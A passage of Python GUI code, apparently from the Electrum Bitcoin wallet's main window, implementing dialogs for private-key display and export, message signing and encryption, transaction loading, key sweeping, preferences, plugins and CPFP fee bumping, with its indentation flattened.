def show_qrcode(self, data, title = _("QR code"), parent=None):
if not data:
return
d = QRDialog(data, parent or self, title)
d.exec_()
@protected
def show_private_key(self, address, password):
if not address:
return
try:
pk, redeem_script = self.wallet.export_private_key(address, password)
except Exception as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
xtype = bitcoin.deserialize_privkey(pk)[0]
d = WindowModalDialog(self, _("Private key"))
d.setMinimumSize(600, 150)
vbox = QVBoxLayout()
vbox.addWidget(QLabel(_("Address") + ': ' + address))
vbox.addWidget(QLabel(_("Script type") + ': ' + xtype))
vbox.addWidget(QLabel(_("Private key") + ':'))
keys_e = ShowQRTextEdit(text=pk)
keys_e.addCopyButton(self.app)
vbox.addWidget(keys_e)
if redeem_script:
vbox.addWidget(QLabel(_("Redeem Script") + ':'))
rds_e = ShowQRTextEdit(text=redeem_script)
rds_e.addCopyButton(self.app)
vbox.addWidget(rds_e)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
d.exec_()
msg_sign = _("Signing with an address actually means signing with the corresponding "
"private key, and verifying with the corresponding public key. The "
"address you have entered does not have a unique public key, so these "
"operations cannot be performed.") + '\n\n' + \
_('The operation is undefined. Not just in Electrum, but in general.')
@protected
def do_sign(self, address, message, signature, password):
address = address.text().strip()
message = message.toPlainText().strip()
if not bitcoin.is_address(address):
self.show_message(_('Invalid Bitcoin address.'))
return
if self.wallet.is_watching_only():
self.show_message(_('This is a watching-only wallet.'))
return
if not self.wallet.is_mine(address):
self.show_message(_('Address not in wallet.'))
return
txin_type = self.wallet.get_txin_type(address)
if txin_type not in ['p2pkh', 'p2wpkh', 'p2wpkh-p2sh']:
self.show_message(_('Cannot sign messages with this type of address:') + \
' ' + txin_type + '\n\n' + self.msg_sign)
return
task = partial(self.wallet.sign_message, address, message, password)
def show_signed_message(sig):
try:
signature.setText(base64.b64encode(sig).decode('ascii'))
except RuntimeError:
# (signature) wrapped C/C++ object has been deleted
pass
self.wallet.thread.add(task, on_success=show_signed_message)
def do_verify(self, address, message, signature):
address = address.text().strip()
message = message.toPlainText().strip().encode('utf-8')
if not bitcoin.is_address(address):
self.show_message(_('Invalid Bitcoin address.'))
return
try:
# This can throw on invalid base64
sig = base64.b64decode(str(signature.toPlainText()))
verified = bitcoin.verify_message(address, sig, message)
except Exception as e:
verified = False
if verified:
self.show_message(_("Signature verified"))
else:
self.show_error(_("Wrong signature"))
def sign_verify_message(self, address=''):
d = WindowModalDialog(self, _('Sign/verify Message'))
d.setMinimumSize(610, 290)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
address_e = QLineEdit()
address_e.setText(address)
layout.addWidget(QLabel(_('Address')), 2, 0)
layout.addWidget(address_e, 2, 1)
signature_e = QTextEdit()
layout.addWidget(QLabel(_('Signature')), 3, 0)
layout.addWidget(signature_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Sign"))
b.clicked.connect(lambda: self.do_sign(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Verify"))
b.clicked.connect(lambda: self.do_verify(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
@protected
def do_decrypt(self, message_e, pubkey_e, encrypted_e, password):
if self.wallet.is_watching_only():
self.show_message(_('This is a watching-only wallet.'))
return
cyphertext = encrypted_e.toPlainText()
task = partial(self.wallet.decrypt_message, pubkey_e.text(), cyphertext, password)
def setText(text):
try:
message_e.setText(text.decode('utf-8'))
except RuntimeError:
# (message_e) wrapped C/C++ object has been deleted
pass
self.wallet.thread.add(task, on_success=setText)
def do_encrypt(self, message_e, pubkey_e, encrypted_e):
message = message_e.toPlainText()
message = message.encode('utf-8')
try:
encrypted = bitcoin.encrypt_message(message, pubkey_e.text())
encrypted_e.setText(encrypted.decode('ascii'))
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_warning(str(e))
def encrypt_message(self, address=''):
d = WindowModalDialog(self, _('Encrypt/decrypt Message'))
d.setMinimumSize(610, 490)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
pubkey_e = QLineEdit()
if address:
pubkey = self.wallet.get_public_key(address)
pubkey_e.setText(pubkey)
layout.addWidget(QLabel(_('Public key')), 2, 0)
layout.addWidget(pubkey_e, 2, 1)
encrypted_e = QTextEdit()
layout.addWidget(QLabel(_('Encrypted')), 3, 0)
layout.addWidget(encrypted_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Encrypt"))
b.clicked.connect(lambda: self.do_encrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Decrypt"))
b.clicked.connect(lambda: self.do_decrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
def password_dialog(self, msg=None, parent=None):
from .password_dialog import PasswordDialog
parent = parent or self
d = PasswordDialog(parent, msg)
return d.run()
def tx_from_text(self, txt):
from electrum.transaction import tx_from_str
try:
tx = tx_from_str(txt)
return Transaction(tx)
except BaseException as e:
self.show_critical(_("Electrum was unable to parse your transaction") + ":\n" + str(e))
return
def read_tx_from_qrcode(self):
from electrum import qrscanner
try:
data = qrscanner.scan_barcode(self.config.get_video_device())
except BaseException as e:
self.show_error(str(e))
return
if not data:
return
# if the user scanned a bitcoin URI
if str(data).startswith("bitcoin:"):
self.pay_to_URI(data)
return
# else if the user scanned an offline signed tx
data = bh2u(bitcoin.base_decode(data, length=None, base=43))
tx = self.tx_from_text(data)
if not tx:
return
self.show_transaction(tx)
def read_tx_from_file(self):
fileName = self.getOpenFileName(_("Select your transaction file"), "*.txn")
if not fileName:
return
try:
with open(fileName, "r") as f:
file_content = f.read()
except (ValueError, IOError, os.error) as reason:
self.show_critical(_("Electrum was unable to open your transaction file") + "\n" + str(reason), title=_("Unable to read file or no transaction found"))
return
return self.tx_from_text(file_content)
def do_process_from_text(self):
text = text_dialog(self, _('Input raw transaction'), _("Transaction:"), _("Load transaction"))
if not text:
return
tx = self.tx_from_text(text)
if tx:
self.show_transaction(tx)
def do_process_from_file(self):
tx = self.read_tx_from_file()
if tx:
self.show_transaction(tx)
def do_process_from_txid(self):
from electrum import transaction
txid, ok = QInputDialog.getText(self, _('Lookup transaction'), _('Transaction ID') + ':')
if ok and txid:
txid = str(txid).strip()
try:
r = self.network.synchronous_get(('blockchain.transaction.get',[txid]))
except BaseException as e:
self.show_message(str(e))
return
tx = transaction.Transaction(r)
self.show_transaction(tx)
@protected
def export_privkeys_dialog(self, password):
if self.wallet.is_watching_only():
self.show_message(_("This is a watching-only wallet"))
return
if isinstance(self.wallet, Multisig_Wallet):
self.show_message(_('WARNING: This is a multi-signature wallet.') + '\n' +
_('It can not be "backed up" by simply exporting these private keys.'))
d = WindowModalDialog(self, _('Private keys'))
d.setMinimumSize(980, 300)
vbox = QVBoxLayout(d)
msg = "%s\n%s\n%s" % (_("WARNING: ALL your private keys are secret."),
_("Exposing a single private key can compromise your entire wallet!"),
_("In particular, DO NOT use 'redeem private key' services proposed by third parties."))
vbox.addWidget(QLabel(msg))
e = QTextEdit()
e.setReadOnly(True)
vbox.addWidget(e)
defaultname = 'electrum-private-keys.csv'
select_msg = _('Select file to export your private keys to')
hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg)
vbox.addLayout(hbox)
b = OkButton(d, _('Export'))
b.setEnabled(False)
vbox.addLayout(Buttons(CancelButton(d), b))
private_keys = {}
addresses = self.wallet.get_addresses()
done = False
cancelled = False
def privkeys_thread():
for addr in addresses:
time.sleep(0.1)
if done or cancelled:
break
privkey = self.wallet.export_private_key(addr, password)[0]
private_keys[addr] = privkey
self.computing_privkeys_signal.emit()
if not cancelled:
self.computing_privkeys_signal.disconnect()
self.show_privkeys_signal.emit()
def show_privkeys():
s = "\n".join( map( lambda x: x[0] + "\t"+ x[1], private_keys.items()))
e.setText(s)
b.setEnabled(True)
self.show_privkeys_signal.disconnect()
nonlocal done
done = True
def on_dialog_closed(*args):
nonlocal done
nonlocal cancelled
if not done:
cancelled = True
self.computing_privkeys_signal.disconnect()
self.show_privkeys_signal.disconnect()
self.computing_privkeys_signal.connect(lambda: e.setText("Please wait... %d/%d"%(len(private_keys),len(addresses))))
self.show_privkeys_signal.connect(show_privkeys)
d.finished.connect(on_dialog_closed)
threading.Thread(target=privkeys_thread).start()
if not d.exec_():
done = True
return
filename = filename_e.text()
if not filename:
return
try:
self.do_export_privkeys(filename, private_keys, csv_button.isChecked())
except (IOError, os.error) as reason:
txt = "\n".join([
_("Electrum was unable to produce a private key-export."),
str(reason)
])
self.show_critical(txt, title=_("Unable to create csv"))
except Exception as e:
self.show_message(str(e))
return
self.show_message(_("Private keys exported."))
def do_export_privkeys(self, fileName, pklist, is_csv):
with open(fileName, "w+") as f:
if is_csv:
transaction = csv.writer(f)
transaction.writerow(["address", "private_key"])
for addr, pk in pklist.items():
transaction.writerow(["%34s"%addr,pk])
else:
import json
f.write(json.dumps(pklist, indent = 4))
def do_import_labels(self):
def import_labels(path):
def _validate(data):
return data # TODO
def import_labels_assign(data):
for key, value in data.items():
self.wallet.set_label(key, value)
import_meta(path, _validate, import_labels_assign)
def on_import():
self.need_update.set()
import_meta_gui(self, _('labels'), import_labels, on_import)
def do_export_labels(self):
def export_labels(filename):
export_meta(self.wallet.labels, filename)
export_meta_gui(self, _('labels'), export_labels)
def sweep_key_dialog(self):
d = WindowModalDialog(self, title=_('Sweep private keys'))
d.setMinimumSize(600, 300)
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_("Enter private keys:")))
keys_e = ScanQRTextEdit(allow_multi=True)
keys_e.setTabChangesFocus(True)
vbox.addWidget(keys_e)
addresses = self.wallet.get_unused_addresses()
if not addresses:
try:
addresses = self.wallet.get_receiving_addresses()
except AttributeError:
addresses = self.wallet.get_addresses()
h, address_e = address_field(addresses)
vbox.addLayout(h)
vbox.addStretch(1)
button = OkButton(d, _('Sweep'))
vbox.addLayout(Buttons(CancelButton(d), button))
button.setEnabled(False)
def get_address():
addr = str(address_e.text()).strip()
if bitcoin.is_address(addr):
return addr
def get_pk():
text = str(keys_e.toPlainText())
return keystore.get_private_keys(text)
f = lambda: button.setEnabled(get_address() is not None and get_pk() is not None)
on_address = lambda text: address_e.setStyleSheet((ColorScheme.DEFAULT if get_address() else ColorScheme.RED).as_stylesheet())
keys_e.textChanged.connect(f)
address_e.textChanged.connect(f)
address_e.textChanged.connect(on_address)
if not d.exec_():
return
from electrum.wallet import sweep_preparations
try:
self.do_clear()
coins, keypairs = sweep_preparations(get_pk(), self.network)
self.tx_external_keypairs = keypairs
self.spend_coins(coins)
self.payto_e.setText(get_address())
self.spend_max()
self.payto_e.setFrozen(True)
self.amount_e.setFrozen(True)
except BaseException as e:
self.show_message(str(e))
return
self.warn_if_watching_only()
def _do_import(self, title, msg, func):
text = text_dialog(self, title, msg + ' :', _('Import'),
allow_multi=True)
if not text:
return
bad = []
good = []
for key in str(text).split():
try:
addr = func(key)
good.append(addr)
except BaseException as e:
bad.append(key)
continue
if good:
self.show_message(_("The following addresses were added") + ':\n' + '\n'.join(good))
if bad:
self.show_critical(_("The following inputs could not be imported") + ':\n'+ '\n'.join(bad))
self.address_list.update()
self.history_list.update()
def import_addresses(self):
if not self.wallet.can_import_address():
return
title, msg = _('Import addresses'), _("Enter addresses")
self._do_import(title, msg, self.wallet.import_address)
@protected
def do_import_privkey(self, password):
if not self.wallet.can_import_privkey():
return
title, msg = _('Import private keys'), _("Enter private keys")
self._do_import(title, msg, lambda x: self.wallet.import_private_key(x, password))
def update_fiat(self):
b = self.fx and self.fx.is_enabled()
self.fiat_send_e.setVisible(b)
self.fiat_receive_e.setVisible(b)
self.history_list.refresh_headers()
self.history_list.update()
self.address_list.refresh_headers()
self.address_list.update()
self.update_status()
def settings_dialog(self):
self.need_restart = False
d = WindowModalDialog(self, _('Preferences'))
vbox = QVBoxLayout()
tabs = QTabWidget()
gui_widgets = []
fee_widgets = []
tx_widgets = []
id_widgets = []
# language
lang_help = _('Select which language is used in the GUI (after restart).')
lang_label = HelpLabel(_('Language') + ':', lang_help)
lang_combo = QComboBox()
from electrum.i18n import languages
lang_combo.addItems(list(languages.values()))
try:
index = languages.keys().index(self.config.get("language",''))
except Exception:
index = 0
lang_combo.setCurrentIndex(index)
if not self.config.is_modifiable('language'):
for w in [lang_combo, lang_label]: w.setEnabled(False)
def on_lang(x):
lang_request = list(languages.keys())[lang_combo.currentIndex()]
if lang_request != self.config.get('language'):
self.config.set_key("language", lang_request, True)
self.need_restart = True
lang_combo.currentIndexChanged.connect(on_lang)
gui_widgets.append((lang_label, lang_combo))
nz_help = _('Number of zeros displayed after the decimal point. For example, if this is set to 2, "1." will be displayed as "1.00"')
nz_label = HelpLabel(_('Zeros after decimal point') + ':', nz_help)
nz = QSpinBox()
nz.setMinimum(0)
nz.setMaximum(self.decimal_point)
nz.setValue(self.num_zeros)
if not self.config.is_modifiable('num_zeros'):
for w in [nz, nz_label]: w.setEnabled(False)
def on_nz():
value = nz.value()
if self.num_zeros != value:
self.num_zeros = value
self.config.set_key('num_zeros', value, True)
self.history_list.update()
self.address_list.update()
nz.valueChanged.connect(on_nz)
gui_widgets.append((nz_label, nz))
msg = '\n'.join([
_('Time based: fee rate is based on average confirmation time estimates'),
_('Mempool based: fee rate is targetting a depth in the memory pool')
]
)
fee_type_label = HelpLabel(_('Fee estimation') + ':', msg)
fee_type_combo = QComboBox()
fee_type_combo.addItems([_('Static'), _('ETA'), _('Mempool')])
fee_type_combo.setCurrentIndex((2 if self.config.use_mempool_fees() else 1) if self.config.is_dynfee() else 0)
def on_fee_type(x):
self.config.set_key('mempool_fees', x==2)
self.config.set_key('dynamic_fees', x>0)
self.fee_slider.update()
fee_type_combo.currentIndexChanged.connect(on_fee_type)
fee_widgets.append((fee_type_label, fee_type_combo))
feebox_cb = QCheckBox(_('Edit fees manually'))
feebox_cb.setChecked(self.config.get('show_fee', False))
feebox_cb.setToolTip(_("Show fee edit box in send tab."))
def on_feebox(x):
self.config.set_key('show_fee', x == Qt.Checked)
self.fee_adv_controls.setVisible(bool(x))
feebox_cb.stateChanged.connect(on_feebox)
fee_widgets.append((feebox_cb, None))
use_rbf_cb = QCheckBox(_('Use Replace-By-Fee'))
use_rbf_cb.setChecked(self.config.get('use_rbf', True))
use_rbf_cb.setToolTip(
_('If you check this box, your transactions will be marked as non-final,') + '\n' + \
_('and you will have the possiblity, while they are unconfirmed, to replace them with transactions that pay higher fees.') + '\n' + \
_('Note that some merchants do not accept non-final transactions until they are confirmed.'))
def on_use_rbf(x):
self.config.set_key('use_rbf', x == Qt.Checked)
use_rbf_cb.stateChanged.connect(on_use_rbf)
fee_widgets.append((use_rbf_cb, None))
msg = _('OpenAlias record, used to receive coins and to sign payment requests.') + '\n\n'\
+ _('The following alias providers are available:') + '\n'\
+ '\n'.join(['https://cryptoname.co/', 'http://xmr.link']) + '\n\n'\
+ 'For more information, see http://openalias.org'
alias_label = HelpLabel(_('OpenAlias') + ':', msg)
alias = self.config.get('alias','')
alias_e = QLineEdit(alias)
def set_alias_color():
if not self.config.get('alias'):
alias_e.setStyleSheet("")
return
if self.alias_info:
alias_addr, alias_name, validated = self.alias_info
alias_e.setStyleSheet((ColorScheme.GREEN if validated else ColorScheme.RED).as_stylesheet(True))
else:
alias_e.setStyleSheet(ColorScheme.RED.as_stylesheet(True))
def on_alias_edit():
alias_e.setStyleSheet("")
alias = str(alias_e.text())
self.config.set_key('alias', alias, True)
if alias:
self.fetch_alias()
set_alias_color()
self.alias_received_signal.connect(set_alias_color)
alias_e.editingFinished.connect(on_alias_edit)
id_widgets.append((alias_label, alias_e))
# SSL certificate
msg = ' '.join([
_('SSL certificate used to sign payment requests.'),
_('Use setconfig to set ssl_chain and ssl_privkey.'),
])
if self.config.get('ssl_privkey') or self.config.get('ssl_chain'):
try:
SSL_identity = paymentrequest.check_ssl_config(self.config)
SSL_error = None
except BaseException as e:
SSL_identity = "error"
SSL_error = str(e)
else:
SSL_identity = ""
SSL_error = None
SSL_id_label = HelpLabel(_('SSL certificate') + ':', msg)
SSL_id_e = QLineEdit(SSL_identity)
SSL_id_e.setStyleSheet((ColorScheme.RED if SSL_error else ColorScheme.GREEN).as_stylesheet(True) if SSL_identity else '')
if SSL_error:
SSL_id_e.setToolTip(SSL_error)
SSL_id_e.setReadOnly(True)
id_widgets.append((SSL_id_label, SSL_id_e))
units = ['BTC', 'mBTC', 'bits']
msg = _('Base unit of your wallet.')\
+ '\n1BTC=1000mBTC.\n' \
+ _(' These settings affects the fields in the Send tab')+' '
unit_label = HelpLabel(_('Base unit') + ':', msg)
unit_combo = QComboBox()
unit_combo.addItems(units)
unit_combo.setCurrentIndex(units.index(self.base_unit()))
def on_unit(x, nz):
unit_result = units[unit_combo.currentIndex()]
if self.base_unit() == unit_result:
return
edits = self.amount_e, self.fee_e, self.receive_amount_e
amounts = [edit.get_amount() for edit in edits]
if unit_result == 'BTC':
self.decimal_point = 8
elif unit_result == 'mBTC':
self.decimal_point = 5
elif unit_result == 'bits':
self.decimal_point = 2
else:
raise Exception('Unknown base unit')
self.config.set_key('decimal_point', self.decimal_point, True)
nz.setMaximum(self.decimal_point)
self.history_list.update()
self.request_list.update()
self.address_list.update()
for edit, amount in zip(edits, amounts):
edit.setAmount(amount)
self.update_status()
unit_combo.currentIndexChanged.connect(lambda x: on_unit(x, nz))
gui_widgets.append((unit_label, unit_combo))
block_explorers = sorted(util.block_explorer_info().keys())
msg = _('Choose which online block explorer to use for functions that open a web browser')
block_ex_label = HelpLabel(_('Online Block Explorer') + ':', msg)
block_ex_combo = QComboBox()
block_ex_combo.addItems(block_explorers)
block_ex_combo.setCurrentIndex(block_ex_combo.findText(util.block_explorer(self.config)))
def on_be(x):
be_result = block_explorers[block_ex_combo.currentIndex()]
self.config.set_key('block_explorer', be_result, True)
block_ex_combo.currentIndexChanged.connect(on_be)
gui_widgets.append((block_ex_label, block_ex_combo))
from electrum import qrscanner
system_cameras = qrscanner._find_system_cameras()
qr_combo = QComboBox()
qr_combo.addItem("Default","default")
for camera, device in system_cameras.items():
qr_combo.addItem(camera, device)
#combo.addItem("Manually specify a device", config.get("video_device"))
index = qr_combo.findData(self.config.get("video_device"))
qr_combo.setCurrentIndex(index)
msg = _("Install the zbar package to enable this.")
qr_label = HelpLabel(_('Video Device') + ':', msg)
qr_combo.setEnabled(qrscanner.libzbar is not None)
on_video_device = lambda x: self.config.set_key("video_device", qr_combo.itemData(x), True)
qr_combo.currentIndexChanged.connect(on_video_device)
gui_widgets.append((qr_label, qr_combo))
usechange_cb = QCheckBox(_('Use change addresses'))
usechange_cb.setChecked(self.wallet.use_change)
if not self.config.is_modifiable('use_change'): usechange_cb.setEnabled(False)
def on_usechange(x):
usechange_result = x == Qt.Checked
if self.wallet.use_change != usechange_result:
self.wallet.use_change = usechange_result
self.wallet.storage.put('use_change', self.wallet.use_change)
multiple_cb.setEnabled(self.wallet.use_change)
usechange_cb.stateChanged.connect(on_usechange)
usechange_cb.setToolTip(_('Using change addresses makes it more difficult for other people to track your transactions.'))
tx_widgets.append((usechange_cb, None))
def on_multiple(x):
multiple = x == Qt.Checked
if self.wallet.multiple_change != multiple:
self.wallet.multiple_change = multiple
self.wallet.storage.put('multiple_change', multiple)
multiple_change = self.wallet.multiple_change
multiple_cb = QCheckBox(_('Use multiple change addresses'))
multiple_cb.setEnabled(self.wallet.use_change)
multiple_cb.setToolTip('\n'.join([
_('In some cases, use up to 3 change addresses in order to break '
'up large coin amounts and obfuscate the recipient address.'),
_('This may result in higher transactions fees.')
]))
multiple_cb.setChecked(multiple_change)
multiple_cb.stateChanged.connect(on_multiple)
tx_widgets.append((multiple_cb, None))
def fmt_docs(key, klass):
lines = [ln.lstrip(" ") for ln in klass.__doc__.split("\n")]
return '\n'.join([key, "", " ".join(lines)])
choosers = sorted(coinchooser.COIN_CHOOSERS.keys())
if len(choosers) > 1:
chooser_name = coinchooser.get_name(self.config)
msg = _('Choose coin (UTXO) selection method. The following are available:\n\n')
msg += '\n\n'.join(fmt_docs(*item) for item in coinchooser.COIN_CHOOSERS.items())
chooser_label = HelpLabel(_('Coin selection') + ':', msg)
chooser_combo = QComboBox()
chooser_combo.addItems(choosers)
i = choosers.index(chooser_name) if chooser_name in choosers else 0
chooser_combo.setCurrentIndex(i)
def on_chooser(x):
chooser_name = choosers[chooser_combo.currentIndex()]
self.config.set_key('coin_chooser', chooser_name)
chooser_combo.currentIndexChanged.connect(on_chooser)
tx_widgets.append((chooser_label, chooser_combo))
def on_unconf(x):
self.config.set_key('confirmed_only', bool(x))
conf_only = self.config.get('confirmed_only', False)
unconf_cb = QCheckBox(_('Spend only confirmed coins'))
unconf_cb.setToolTip(_('Spend only confirmed inputs.'))
unconf_cb.setChecked(conf_only)
unconf_cb.stateChanged.connect(on_unconf)
tx_widgets.append((unconf_cb, None))
def on_outrounding(x):
self.config.set_key('coin_chooser_output_rounding', bool(x))
enable_outrounding = self.config.get('coin_chooser_output_rounding', False)
outrounding_cb = QCheckBox(_('Enable output value rounding'))
outrounding_cb.setToolTip(
_('Set the value of the change output so that it has similar precision to the other outputs.') + '\n' +
_('This might improve your privacy somewhat.') + '\n' +
_('If enabled, at most 100 satoshis might be lost due to this, per transaction.'))
outrounding_cb.setChecked(enable_outrounding)
outrounding_cb.stateChanged.connect(on_outrounding)
tx_widgets.append((outrounding_cb, None))
# Fiat Currency
hist_checkbox = QCheckBox()
hist_capgains_checkbox = QCheckBox()
fiat_address_checkbox = QCheckBox()
ccy_combo = QComboBox()
ex_combo = QComboBox()
def update_currencies():
if not self.fx: return
currencies = sorted(self.fx.get_currencies(self.fx.get_history_config()))
ccy_combo.clear()
ccy_combo.addItems([_('None')] + currencies)
if self.fx.is_enabled():
ccy_combo.setCurrentIndex(ccy_combo.findText(self.fx.get_currency()))
def update_history_cb():
if not self.fx: return
hist_checkbox.setChecked(self.fx.get_history_config())
hist_checkbox.setEnabled(self.fx.is_enabled())
def update_fiat_address_cb():
if not self.fx: return
fiat_address_checkbox.setChecked(self.fx.get_fiat_address_config())
def update_history_capgains_cb():
if not self.fx: return
hist_capgains_checkbox.setChecked(self.fx.get_history_capital_gains_config())
hist_capgains_checkbox.setEnabled(hist_checkbox.isChecked())
def update_exchanges():
if not self.fx: return
b = self.fx.is_enabled()
ex_combo.setEnabled(b)
if b:
h = self.fx.get_history_config()
c = self.fx.get_currency()
exchanges = self.fx.get_exchanges_by_ccy(c, h)
else:
exchanges = self.fx.get_exchanges_by_ccy('USD', False)
ex_combo.clear()
ex_combo.addItems(sorted(exchanges))
ex_combo.setCurrentIndex(ex_combo.findText(self.fx.config_exchange()))
def on_currency(hh):
if not self.fx: return
b = bool(ccy_combo.currentIndex())
ccy = str(ccy_combo.currentText()) if b else None
self.fx.set_enabled(b)
if b and ccy != self.fx.ccy:
self.fx.set_currency(ccy)
update_history_cb()
update_exchanges()
self.update_fiat()
def on_exchange(idx):
exchange = str(ex_combo.currentText())
if self.fx and self.fx.is_enabled() and exchange and exchange != self.fx.exchange.name():
self.fx.set_exchange(exchange)
def on_history(checked):
if not self.fx: return
self.fx.set_history_config(checked)
update_exchanges()
self.history_list.refresh_headers()
if self.fx.is_enabled() and checked:
# reset timeout to get historical rates
self.fx.timeout = 0
update_history_capgains_cb()
def on_history_capgains(checked):
if not self.fx: return
self.fx.set_history_capital_gains_config(checked)
self.history_list.refresh_headers()
def on_fiat_address(checked):
if not self.fx: return
self.fx.set_fiat_address_config(checked)
self.address_list.refresh_headers()
self.address_list.update()
update_currencies()
update_history_cb()
update_history_capgains_cb()
update_fiat_address_cb()
update_exchanges()
ccy_combo.currentIndexChanged.connect(on_currency)
hist_checkbox.stateChanged.connect(on_history)
hist_capgains_checkbox.stateChanged.connect(on_history_capgains)
fiat_address_checkbox.stateChanged.connect(on_fiat_address)
ex_combo.currentIndexChanged.connect(on_exchange)
fiat_widgets = []
fiat_widgets.append((QLabel(_('Fiat currency')), ccy_combo))
fiat_widgets.append((QLabel(_('Show history rates')), hist_checkbox))
fiat_widgets.append((QLabel(_('Show capital gains in history')), hist_capgains_checkbox))
fiat_widgets.append((QLabel(_('Show Fiat balance for addresses')), fiat_address_checkbox))
fiat_widgets.append((QLabel(_('Source')), ex_combo))
tabs_info = [
(fee_widgets, _('Fees')),
(tx_widgets, _('Transactions')),
(gui_widgets, _('Appearance')),
(fiat_widgets, _('Fiat')),
(id_widgets, _('Identity')),
]
for widgets, name in tabs_info:
tab = QWidget()
grid = QGridLayout(tab)
grid.setColumnStretch(0,1)
for a,b in widgets:
i = grid.rowCount()
if b:
if a:
grid.addWidget(a, i, 0)
grid.addWidget(b, i, 1)
else:
grid.addWidget(a, i, 0, 1, 2)
tabs.addTab(tab, name)
vbox.addWidget(tabs)
vbox.addStretch(1)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
# run the dialog
d.exec_()
if self.fx:
self.fx.timeout = 0
self.alias_received_signal.disconnect(set_alias_color)
run_hook('close_settings_dialog')
if self.need_restart:
self.show_warning(_('Please restart Electrum to activate the new GUI settings'), title=_('Success'))
def closeEvent(self, event):
# It seems in some rare cases this closeEvent() is called twice
if not self.cleaned_up:
self.cleaned_up = True
self.clean_up()
event.accept()
def clean_up(self):
self.wallet.thread.stop()
if self.network:
self.network.unregister_callback(self.on_network)
self.config.set_key("is_maximized", self.isMaximized())
if not self.isMaximized():
g = self.geometry()
self.wallet.storage.put("winpos-qt", [g.left(),g.top(),
g.width(),g.height()])
self.config.set_key("console-history", self.console.history[-50:],
True)
if self.qr_window:
self.qr_window.close()
self.close_wallet()
self.gui_object.close_window(self)
def plugins_dialog(self):
self.pluginsdialog = d = WindowModalDialog(self, _('Electrum Plugins'))
plugins = self.gui_object.plugins
vbox = QVBoxLayout(d)
# plugins
scroll = QScrollArea()
scroll.setEnabled(True)
scroll.setWidgetResizable(True)
scroll.setMinimumSize(400,250)
vbox.addWidget(scroll)
w = QWidget()
scroll.setWidget(w)
w.setMinimumHeight(plugins.count() * 35)
grid = QGridLayout()
grid.setColumnStretch(0,1)
w.setLayout(grid)
settings_widgets = {}
def enable_settings_widget(p, name, i):
widget = settings_widgets.get(name)
if not widget and p and p.requires_settings():
widget = settings_widgets[name] = p.settings_widget(d)
grid.addWidget(widget, i, 1)
if widget:
widget.setEnabled(bool(p and p.is_enabled()))
def do_toggle(cb, name, i):
p = plugins.toggle(name)
cb.setChecked(bool(p))
enable_settings_widget(p, name, i)
run_hook('init_qt', self.gui_object)
for i, descr in enumerate(plugins.descriptions.values()):
name = descr['__name__']
p = plugins.get(name)
if descr.get('registers_keystore'):
continue
try:
cb = QCheckBox(descr['fullname'])
plugin_is_loaded = p is not None
cb_enabled = (not plugin_is_loaded and plugins.is_available(name, self.wallet)
or plugin_is_loaded and p.can_user_disable())
cb.setEnabled(cb_enabled)
cb.setChecked(plugin_is_loaded and p.is_enabled())
grid.addWidget(cb, i, 0)
enable_settings_widget(p, name, i)
cb.clicked.connect(partial(do_toggle, cb, name, i))
msg = descr['description']
if descr.get('requires'):
msg += '\n\n' + _('Requires') + ':\n' + '\n'.join(map(lambda x: x[1], descr.get('requires')))
grid.addWidget(HelpButton(msg), i, 2)
except Exception:
self.print_msg("error: cannot display plugin", name)
traceback.print_exc(file=sys.stdout)
grid.setRowStretch(len(plugins.descriptions.values()), 1)
vbox.addLayout(Buttons(CloseButton(d)))
d.exec_()
def cpfp(self, parent_tx, new_tx):
total_size = parent_tx.estimated_size() + new_tx.estimated_size()
d = WindowModalDialog(self, _('Child Pays for Parent'))
vbox = QVBoxLayout(d)
msg = (
"A CPFP is a transaction that sends an unconfirmed output back to "
"yourself, with a high fee. The goal is to have miners confirm "
"the parent transaction in order to get the fee attached to the "
"child transaction.")
vbox.addWidget(WWLabel(_(msg)))
msg2 = ("The proposed fee is computed using your "
"fee/kB settings, applied to the total size of both child and "
"parent transactions. After you broadcast a CPFP transaction, "
"it is normal to see a new unconfirmed transaction in your history.")
vbox.addWidget(WWLabel(_(msg2)))
grid = QGridLayout()
grid.addWidget(QLabel(_('Total size') + ':'), 0, 0)
grid.addWidget(QLabel('%d bytes'% total_size), 0, 1)
max_fee = new_tx.output_value()
grid.addWidget(QLabel(_('Input amount') + ':'), 1, 0)
grid.addWidget(QLabel(self.format_amount(max_fee) + ' ' + self.base_unit()), 1, 1)
output_amount = QLabel('')
grid.addWidget(QLabel(_('Output amount') + ':'), 2, 0)
grid.addWidget(output_amount, 2, 1)
fee_e = BTCAmountEdit(self.get_decimal_point)
# FIXME with dyn fees, without estimates, there are all kinds of crashes here
def f(x):
a = max_fee - fee_e.get_amount()
output_amount.setText((self.format_amount(a) + ' ' + self.base_unit()) if a else '')
fee_e.textChanged.connect(f)
fee = self.config.fee_per_kb() * total_size / 1000
fee_e.setAmount(fee)
grid.addWidget(QLabel(_('Fee' + ':')), 3, 0)
grid.addWidget(fee_e, 3, 1)
def on_rate(dyn, pos, fee_rate):
fee = fee_rate * total_size / 1000
fee = min(max_fee, fee)
fee_e.setAmount(fee)
fee_slider = FeeSlider(self, self.config, on_rate)
fee_slider.update()
grid.addWidget(fee_slider, 4, 1)
vbox.addLayout(grid)
